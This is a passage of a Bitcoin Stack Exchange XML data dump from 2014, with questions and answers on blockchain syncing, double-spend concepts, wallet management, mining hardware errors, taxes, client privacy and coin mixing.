friends, each for $50 and the majority of them need to draw on that in the same week you would need to come up with something approaching $5000 in cash. The system would need to include a &quot;max amount per day / week / month&quot; that you would be willing to cover.&lt;/li&gt;&#xA;&lt;li&gt;Chasing friends for the cash they owe you could get very annoying. It would have to be automated somehow for it to be practical.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But it seems like the minor concerns I have could be addressed in an automated way, so I think this model has some promise. Now Ripple just needs to finish decentralizing the still centralized elements of their network (the UNLs for example as explained &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21950/is-ripples-unl-list-maintained-by-the-network&quot;&gt;in this question&lt;/a&gt;) and this model could have some potential. In aggregate, I actually trust my friends far more than I trust my bank.&lt;/p&gt;&#xA;" OwnerUserId="13295" LastEditorUserId="2995" LastEditDate="2018-09-06T21:17:59.920" LastActivityDate="2018-09-06T21:17:59.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24111" PostTypeId="1" CreationDate="2014-03-29T11:31:37.757" Score="1" ViewCount="324" Body="&lt;p&gt;I have been doing this synchronization procedure (first time) in bitcoin-qt for over 85 hours and it only came to 31 Weeks Behind. Withdrawed from localbitcoins like 95 hours ago and obviously this balance isn't yet seen. I have come to the step where I cannot wait anymore. I only have 512 dram and it is taking my whole system. Also cannot leave pc runned 24/7 anymore. It would be amazing if someone could please upload to some fast legitimate file sharing website like rapidshare.com the blocks files - remaining ones. Once again I repeat i am at 31 Weeks Behind. Or please if you could at least provide me the downloading link if you already shared blocks files yesterday with anyone else or maximum two days ago. I really need that procedure finished please and would owe you for a lifetime for such files so I can just save them. Would be much faster. I cannot use torrents, even if those files are updated enough and already there - torrents aren't safe and could be full of malware.&lt;/p&gt;&#xA;" OwnerUserId="14901" LastActivityDate="2014-03-29T14:22:26.973" Title="Bitcoin URGENTLY Need Blocks Files - Download them from some Website" Tags="|wallet|blockchain|bitcoin-core|address|block|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ClosedDate="2014-03-29T20:21:52.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="24113" PostTypeId="2" ParentId="24111" CreationDate="2014-03-29T12:38:33.500" Score="1" Body="&lt;p&gt;If you were in such a hurry to get your coins, why didn't you install a light client as Multibit or Electrum? You could've installed either, use the address it generated for the destination address of your withdrawal, and receive your coins after some minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of using the original QT client versus any of these is to increase the Bitcoin network's security by creating more copies of the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Options you have: just keep going! Seriously, 31 weeks is not that much time, in about another day you could get it finished. Else, you could try the &lt;a href=&quot;http://startbitcoin.com/blockchain-on-dvd/&quot; rel=&quot;nofollow&quot;&gt;ordering the blockchain in DVD&lt;/a&gt; (I believe there are other sites like that one selling it) or you could try downloading it from a &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow&quot;&gt;SourceForge &quot;project&quot;&lt;/a&gt; containing them up to a certain point (which I believe you're already past) or &lt;a href=&quot;https://bitcointalk.org/index.php?topic=19296.0&quot; rel=&quot;nofollow&quot;&gt;these others&lt;/a&gt; or any of the other links mentioned at the question which I believe this question's a duplicate of.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-29T12:38:33.500" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24114" PostTypeId="2" ParentId="24109" CreationDate="2014-03-29T13:10:28.327" Score="1" Body="&lt;p&gt;You have already answered your question. The basic double spending attack in question is just that: The attacker initiates a Bitcoin transaction and claims a benefit from it. Then the attacker does the same thing again, potentially broadcasting the new, conflicting transaction to a larger number of nodes in the Bitcoin network, in an attempt to have the new transaction confirm instead of the first one. If that succeeds depends on which kind of miner, one having seen the initial or the later transaction first, manages to mine the next new block (with a few extra caveats, like that miner actually choosing to include said transaction in his newly mined block).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Computer scientists call this general phenomenon where the overall outcome from concurrent processes depends on what happens first a race condition. The race condition I just described can continue if nodes continue mining on different subchains where one contains the first transaction and the other subchain contains the other transaction from the double spending attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also more complicated forms of double spending attacks, but all of them have a race condition to some extent, and hence I would call all of them eligible for the description &quot;Race Double Spend.&quot; You may also be interested in one, the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4942/what-is-a-finney-attack&quot;&gt;Finney Attack&lt;/a&gt;, that makes the race condition almost disappear through premining, such that the attacker has an almost unbeatable head start if the recipient (e.g. the merchant) instantly accepts an unconfirmed transaction.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-06-16T09:43:47.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24115" PostTypeId="1" CreationDate="2014-03-29T13:12:43.700" Score="5" ViewCount="244" Body="&lt;p&gt;I am setting up an online shop to sell digital goods. I would ideally like to accept only Bitcoin payments, however most users do not use Bitcoins or can't work it out. Therefore, I have to accept credit cards, Paypal, etc. to actually make a profit. My question: is there a service that provides all of these payment gateways but can then combine each service to a Bitcoin wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, customer A pays by Paypal, customer B with Skrill. Both payments go into a single account where I can then withdraw the money to a Bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14906" LastActivityDate="2023-02-20T19:58:53.600" Title="Accepting Payments To Bitcoins" Tags="|payment|ripple-gateways|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24117" PostTypeId="2" ParentId="24111" CreationDate="2014-03-29T14:22:26.973" Score="1" Body="&lt;p&gt;I think you are confused about the Electrum client.  From the bitcoin client you can export your private keys, and then import them elsewhere (actually will be COPYING them elsewhere) such as in to the electrum client.  There is not 'an electrum server' it is distributed system and anyone can run a server, private or public; there are many nodes online you can synch to.&lt;/p&gt;&#xA;" OwnerUserId="5830" LastActivityDate="2014-03-29T14:22:26.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24118" PostTypeId="1" AcceptedAnswerId="24119" CreationDate="2014-03-29T14:31:43.583" Score="4" ViewCount="3010" Body="&lt;p&gt;How can I delete all addresses from my Qt wallet without having to download the blockchain all over again from the scratch? I would like to find a bulk way to do it as there are a few thousand addresses I need to get rid of. These addresses are empty and they only cause significant delays to my interactions with the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a similar question indicating Pywallet (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=34028.0&lt;/a&gt;) as a solution but I have to manually remove each address one by one with it, which is not efficient in my case.&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-03-29T16:48:54.173" Title="Delete all wallet addresses" Tags="|wallet|bitcoin-core|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24119" PostTypeId="2" ParentId="24118" CreationDate="2014-03-29T16:48:54.173" Score="6" Body="&lt;p&gt;Transfer all funds out of the old wallet.&#xA;If on Windows, explore to %APPDATA%\Bitcoin, rename wallet.dat to wallet-old.dat.&#xA;On next launch of Bitcoin-QT a new, empty wallet.dat will be created. &#xA;This will not require re-downloading the blockchain.&#xA;Remember to use Settings, Encrypt Wallet on the new wallet.dat.&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-03-29T16:48:54.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24120" PostTypeId="1" AcceptedAnswerId="24121" CreationDate="2014-03-29T17:03:55.923" Score="2" ViewCount="4806" Body="&lt;p&gt;I'm mining Bitcoin and Litecoin using &lt;a href=&quot;http://gridseed.com/product?lang=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gridseeds&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a host/controller I'm running a &lt;a href=&quot;http://en.wikipedia.org/wiki/Raspberry_Pi&quot; rel=&quot;nofollow noreferrer&quot;&gt;Raspberry Pi&lt;/a&gt; with &lt;a href=&quot;http://archlinuxarm.org/platforms/armv6/raspberry-pi&quot; rel=&quot;nofollow noreferrer&quot;&gt;ArchLinuxARM&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the latest Arch image and compiled cgminer from this github repository:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/girnyau/cgminer-gc3355&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/girnyau/cgminer-gc3355&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running 10 Gridseeds. They are running well at 3.6 MH/s Scrypt (10x 360kH/s @ 850 MHz) until some point when it goes Oops:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ 4565.377848] Unable to handle kernel paging request at virtual address 00002055&#xA;[ 4565.385255] pgd = c9df8000&#xA;[ 4565.393214] [00002055] *pgd=c9df8000, *pte=00000000, *ppte=00000000&#xA;[ 4565.404992] Internal error: Oops: 17 [#1] PREEMT ARM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YZuyR.jpg&quot; alt=&quot;kernel paging request&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? And how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="5406" LastEditDate="2016-04-10T10:23:18.713" LastActivityDate="2019-06-21T20:52:04.967" Title="How to fix kernel paging request error on raspberry pi miner?" Tags="|cgminer|miner-configuration|linux|raspberry-pi|gridseed|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24121" PostTypeId="2" ParentId="24120" CreationDate="2014-03-29T17:03:55.923" Score="1" Body="&lt;p&gt;Ok, I found the solution &lt;a href=&quot;https://bitcointalk.org/index.php?topic=494625.msg5932931#msg5932931&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.raspberrypi.org/phpBB3/viewtopic.php?f=28&amp;amp;t=55370&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to enable SLUB debugging for your linux kernel. Therefore you have to edit your linux kernel command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nano /boot/cmdline.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the following code at the end of the first line (on the same line as the other text, don't add new line!).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;slub_debug=FP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the file then reboot your Raspberry Pi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the above does is basically enable some kernel debug mode on the Raspberry Pi. The mentioned kernel paging request error seems to be a kernel bug and gets caught by the debugging settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is that the overall performance of the raspi is lower. But that does not affect the mining performance at all.&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2014-03-29T17:03:55.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24122" PostTypeId="2" ParentId="21105" CreationDate="2014-03-29T17:30:07.827" Score="1" Body="&lt;p&gt;You are very correct, but:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I would use getaccountaddress instead of getnewaddress. If the user doesn't exist, which is the case for a new user, the wallet will create a new one anyway.&lt;/li&gt;&#xA;&lt;li&gt;I always would use the user's name to recover from the wallet his address, there's no sense to store it again on a DB. ¿?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The time for a balance to be confirmed depends on the coin and its network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$bitcoin-&gt;move($useraddress, $myaddress, $amount) Yes, it is instantaneous. There's no transaction broadcasted to the net. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I test out my bitcoind/php application with testnet? Anyone has any experience of this? ---&gt; Go to the wiki, U have to set a specific parameter on bicoin.conf&lt;/p&gt;&#xA;" OwnerUserId="14912" LastEditorUserId="14912" LastEditDate="2014-03-29T17:35:52.927" LastActivityDate="2014-03-29T17:35:52.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24123" PostTypeId="2" ParentId="24115" CreationDate="2014-03-29T19:30:25.260" Score="2" Body="&lt;p&gt;I don't know of any service that handles all of these. You can use &lt;a href=&quot;https://coinbase.com/merchants&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; to accept bitcoin.  If your Paypal account deposits the fiat to a U.S. bank account, you can also use Coinbase to manually &quot;buy&quot; Bitcoin into the same Coinbase account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you knew the value of your USD account, you could automate the buying of bitcoin via &lt;a href=&quot;https://coinbase.com/docs/api/overview&quot; rel=&quot;nofollow&quot;&gt;Coinbase API&lt;/a&gt;.  Manually doing the conversion every week, month, etc would not be a bad idea though because you could wait until the Bitcoin price is low, or just keep a part of the funds in fiat for your business expenses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are outside the U.S., probably better to look into Bitpay.&lt;/p&gt;&#xA;" OwnerUserId="13440" LastActivityDate="2014-03-29T19:30:25.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24124" PostTypeId="1" AcceptedAnswerId="24151" CreationDate="2014-03-29T19:32:19.777" Score="8" ViewCount="1697" Body="&lt;p&gt;Generally speaking, the address space of Bitcoin seems to be sufficiently large to make it unlikely that a hash collision will ever occur (see below).&lt;br&gt;&#xA;Pacerier stated in a comment on &lt;a href=&quot;https://bitcoin.stackexchange.com/q/22/5406&quot;&gt;Is it possible to brute force bitcoin address creation in order to steal money?&lt;/a&gt; that we'd &quot;want Bitcoin to scale to [...] 10b people, each generating 10k different addresses a day, that's 100 trillion addresses created daily.&quot; He followed up with &quot;10k may be a severe &lt;em&gt;underestimation&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;100 trillion is 10^14, so if we kept up that pace, we'd have used one address per satoshi after &lt;strong&gt;21 days&lt;/strong&gt;. I am confused as to what might be the reasons for users to need 10k addresses per day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please explain: Why does it seem likely that we will need such a large number of new addresses each day? In what scenario would each user in average need 10k new addresses per day?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Total number of satoshis:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3wCb0.gif&quot; alt=&quot;Total number of satoshis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At one address for each satoshi that could be ever in existence &lt;code&gt;(2.1*10^15)&lt;/code&gt;, with the giant address space of &lt;code&gt;2^160&lt;/code&gt; possible addresses, the &lt;a href=&quot;https://en.wikipedia.org/wiki/Birthday_attack#Simple_approximation&quot; rel=&quot;nofollow noreferrer&quot;&gt;simple approximation of the Birthday paradoxon&lt;/a&gt;, which works well for probabilities less than or equal to 0.5...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XbXji.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... tells us that the chance of single hash collision occurring is still pretty small: 1.508*10^(-18).&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-03-31T20:10:30.363" Title="Why would we ever need 10k new addresses in average per day?" Tags="|address|scalability|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24125" PostTypeId="2" ParentId="1490" CreationDate="2014-03-29T19:59:59.953" Score="4" Body="&lt;p&gt;You can now use the Bitcoin payment protocol to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an easy to use &lt;a href=&quot;http://blog.bitpay.com/2014/02/20/bitpay-launches-payment-protocol-support.html&quot; rel=&quot;nofollow&quot;&gt;implementation from Bitpay&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are already &lt;a href=&quot;https://bitpay.com/bitcoin-compatible-wallets&quot; rel=&quot;nofollow&quot;&gt;a few wallets&lt;/a&gt; that support this (including the reference client).  More will be released soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 70&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0071.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 71&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0072.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 72&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0073.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 73&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13440" LastActivityDate="2014-03-29T19:59:59.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24127" PostTypeId="1" CreationDate="2014-03-29T21:16:33.137" Score="4" ViewCount="1747" Body="&lt;p&gt;I am a Chinese student in US right now, and my taxation status is Nonresident Alien. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since IRS has announced bitcoin as &quot;property&quot;, I just wonder how to define my gains from my sell of bitcoin in US. My husband bought bitcoin on Chinese website by RMB and I sold them on coinbase to get USD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to IRS's explanation, is the money I gained from coinbase &quot;US source property gains&quot;? If so, how to calculate the gains? Does IRS accept transaction records from Chinese websites? Some of the websites even went bankrupt already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my first time to file my taxes in US, I really don't want to cause any trouble. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14917" LastEditorUserId="5406" LastEditDate="2014-03-29T21:29:37.210" LastActivityDate="2014-06-11T02:15:25.600" Title="How to file bitcoin income to the IRS as a nonresident alien" Tags="|legal|taxes|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24128" PostTypeId="1" AcceptedAnswerId="24808" CreationDate="2014-03-29T23:16:07.280" Score="5" ViewCount="768" Body="&lt;p&gt;Can Darkcoin's Darksend (I think this is called coinjoin, but I am unsure) be implemented on any cryptocurrency (without a fork), or must the feature be present when the coin is first released?&lt;/p&gt;&#xA;" OwnerUserId="13411" LastActivityDate="2014-04-22T16:20:26.497" Title="Can Darkcoin's Darksend be implemented on top of Bitcoin?" Tags="|altcoin|coinjoin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24132" PostTypeId="1" CreationDate="2014-03-30T02:48:06.327" Score="1" ViewCount="791" Body="&lt;p&gt;Hi and I hope someone here can answer these security questions for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded the Multibit client onto both a windows laptop and also a separate download onto a laptop running ubuntu linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are for both operating systems and they are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When I am online and start the Multibit client is my IP address broadcast at anytime when I am using it such as when it syncs with the BTC network?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I create say 10 wallets in the client and issue one receiving address from each wallet to ten different people so they can pay me, is it possible to see that all those addresses and wallets reside within the same Multibit client?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can those addresses or wallets be traced back to either of my laptops and if so how can I stop this from happening?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14923" LastEditorUserId="132" LastEditDate="2014-06-17T11:06:31.657" LastActivityDate="2014-06-17T11:06:31.657" Title="Multibit security — How anonymous is it?" Tags="|wallet|multibit|privacy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24133" PostTypeId="2" ParentId="24132" CreationDate="2014-03-30T04:51:40.613" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;No, your IP address is not &quot;broadcast&quot;. It is used when communicating to the peers that your Bitcoin client chooses (usually about 8 others).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No, there is no information encoded into addresses that reveals which ones are associated with others. A Bitcoin address can be considered to be a purely random number.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No, there is no evidence that an address is associated with a particular IP address. Your client will send new transactions to its peers, but the receiver won't be able to tell whether your client originated the transaction or whether it was relayed from somewhere else.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-30T04:51:40.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24134" PostTypeId="2" ParentId="19086" CreationDate="2014-03-30T05:03:00.917" Score="0" Body="&lt;p&gt;I would definitely not bother with that and host a second node and keep the single nodes as effective as possible. The upside is you eventually can offer different node locations!!! You still could offer the p2pool under different subdomains, for example &quot;somecountry.somecoin.url.tld&quot; &lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2014-03-30T05:03:00.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24135" PostTypeId="2" ParentId="2506" CreationDate="2014-03-30T07:58:42.950" Score="2" Body="&lt;p&gt;I can think of several reasons why this might not be the best idea for your game vs using an in game only coin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Inability to grant game credit. If your users play a lot, bring their friends etc you might want to give them more credit. If you are using bitcoin then those have to come from somewhere, or you can't do it. This will limit your ability to manage the ecosystem of your game in the ways that you might want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Supply Shock: You may find that when the price of bitcoin vs the dollar goes up or down then your game will be affected by money streaming in or out. If your game is presumably a business that has to run as one that might be a risk you don't want to take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Data Security. If you have 10,000,00 games coins on your system there is very little reason for someone to try and steal them. If you have $10,000,000&#xA;worth of bitcoin then there are major reasons that someone might want to hack in and steal those. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Tax law. Depending on where you and your players are there may be tax implications. Or other legal regulations that you might run across. The last thing that you need is for the FBI to decide to check if someone is using your game for money laundering. &lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2014-03-30T07:58:42.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24136" PostTypeId="1" CreationDate="2014-03-30T09:05:41.887" Score="2" ViewCount="774" Body="&lt;p&gt;Been trying for the past few days but couldn't get it working, I already download the latest cryptopp library but its seems that maxcoin got some issue compiling&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I qmake &quot;USE_UPNP=-&quot; maxcoin-qt.pro&#xA;then i make -f Makefile.Release &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will get the error below, I tried replace the content of ws2tcpip.h with winsock2.h and I get another error with getaddrinfo at netbase.cpp which most probably need ws2tcpip.h , for this scenario where I need ws2tcpip for netbase.cpp yet if I don't fix this winsock2.h and ws2tcpip.h I can't get pass this, what should I do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c:\mingw\bin\../lib/gcc/mingw32/4.6.2/../../../../include/ws2tcpip.h:38:2: error&#xA;: #error &quot;ws2tcpip.h is not compatible with winsock.h. Include winsock2.h instea&#xA;d.&quot;&#xA;In file included from src\/schnorr.h:11:0,&#xA;                 from src\/hash.h:17,&#xA;                 from src\/net.h:22,&#xA;                 from src\rpcnet.cpp:6:&#xA;src\/cryptopp/osrng.h:43:0: warning: ignoring #pragma comment  [-Wunknown-pragma&#xA;s]&#xA;In file included from src\/compat.h:17:0,&#xA;                 from src\/netbase.h:11,&#xA;                 from src\/net.h:19,&#xA;                 from src\rpcnet.cpp:6:&#xA;c:\mingw\bin\../lib/gcc/mingw32/4.6.2/../../../../include/ws2tcpip.h:147:8: erro&#xA;r: redefinition of 'struct ip_mreq'&#xA;c:\mingw\bin\../lib/gcc/mingw32/4.6.2/../../../../include/winsock.h:315:8: error&#xA;: previous definition of 'struct ip_mreq'&#xA;c:\mingw\bin\../lib/gcc/mingw32/4.6.2/../../../../include/ws2tcpip.h:390:13: err&#xA;or: expected initializer before 'freeaddrinfo'&#xA;c:\mingw\bin\../lib/gcc/mingw32/4.6.2/../../../../include/ws2tcpip.h:391:12: err&#xA;or: expected initializer before 'getaddrinfo'&#xA;c:\mingw\bin\../lib/gcc/mingw32/4.6.2/../../../../include/ws2tcpip.h:393:12: err&#xA;or: expected initializer before 'getnameinfo'&#xA;In file included from src\/cryptopp/pubkey.h:35:0,&#xA;                 from src\/cryptopp/eccrypto.h:7,&#xA;                 from src\/schnorr.h:12,&#xA;                 from src\/hash.h:17,&#xA;                 from src\/net.h:22,&#xA;                 from src\rpcnet.cpp:6:&#xA;src\/cryptopp/modarith.h: In copy constructor 'CryptoPP::ModularArithmetic::Modu&#xA;larArithmetic(const CryptoPP::ModularArithmetic&amp;amp;)':&#xA;src\/cryptopp/modarith.h:29:2: warning: base class 'class CryptoPP::AbstractRing&#xA;&amp;lt;CryptoPP::Integer&amp;gt;' should be explicitly initialized in the copy constructor [-&#xA;Wextra]&#xA;In file included from src\/cryptopp/simple.h:10:0,&#xA;                 from src\/cryptopp/filters.h:6,&#xA;                 from src\/cryptopp/randpool.h:5,&#xA;                 from src\/cryptopp/osrng.h:10,&#xA;                 from src\/schnorr.h:11,&#xA;                 from src\/hash.h:17,&#xA;                 from src\/net.h:22,&#xA;                 from src\rpcnet.cpp:6:&#xA;src\/cryptopp/misc.h: In function 'std::string CryptoPP::IntToString(T, unsigned&#xA; int) [with T = unsigned int, std::string = std::basic_string&amp;lt;char&amp;gt;]':&#xA;src\/cryptopp/simple.h:35:128:   instantiated from here&#xA;src\/cryptopp/misc.h:414:2: warning: comparison of unsigned expression &amp;lt; 0 is al&#xA;ways false [-Wtype-limits]&#xA;Makefile.Release:3231: recipe for target 'build/rpcnet.o' failed&#xA;mingw32-make: *** [build/rpcnet.o] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14925" LastActivityDate="2014-03-30T09:05:41.887" Title="Ws2tcpip.h and winsock2.h on Window QT Wallet" Tags="|wallet|bitcoin-core|client|algorithms|compiling|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24138" PostTypeId="1" CreationDate="2014-03-30T11:26:04.533" Score="2" ViewCount="1688" Body="&lt;p&gt;I want to use a mixing service and I was wondering what is the right way of using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some funds in my wallet (associated with a Bitcoin Address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I generate a new address in my bitcoin client (this address would be picked up from my keypool itself right now). And after generating the address, I provide this address as the receiving address (for withdraw) to the mixing service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second case. Let's say I want to purchase something online using my bitcoins, like dedicated hosting service or something similar. The merchant wants me to send them the Bitcoins to their bitcoin address, but if I go through the mixing service for this purpose, it would take a very long time and transactions with merchants have to be completed fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cases of mixing services like bitcoinfog, the minimum time interval is 6 hours after which the withdraw process starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what is the right way of using the mixing service?&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2016-04-15T19:37:49.243" Title="Proper way of using a Mixing Service" Tags="|mixing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24139" PostTypeId="2" ParentId="24138" CreationDate="2014-03-30T13:19:54.373" Score="4" Body="&lt;p&gt;Either of these solutions would work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mix it first to a previously unused address or send it directly to the merchant via the service (ignoring the issue of timeouts on a merchant terminal if they have such a feature) the effect is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing to make sure is any change does not go back into an address which has not been via a coin sharing service. This will cause a link-back to your previous transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to avoid this is to have two separate wallets, one which is only been mixed and one which has not.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-30T13:19:54.373" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
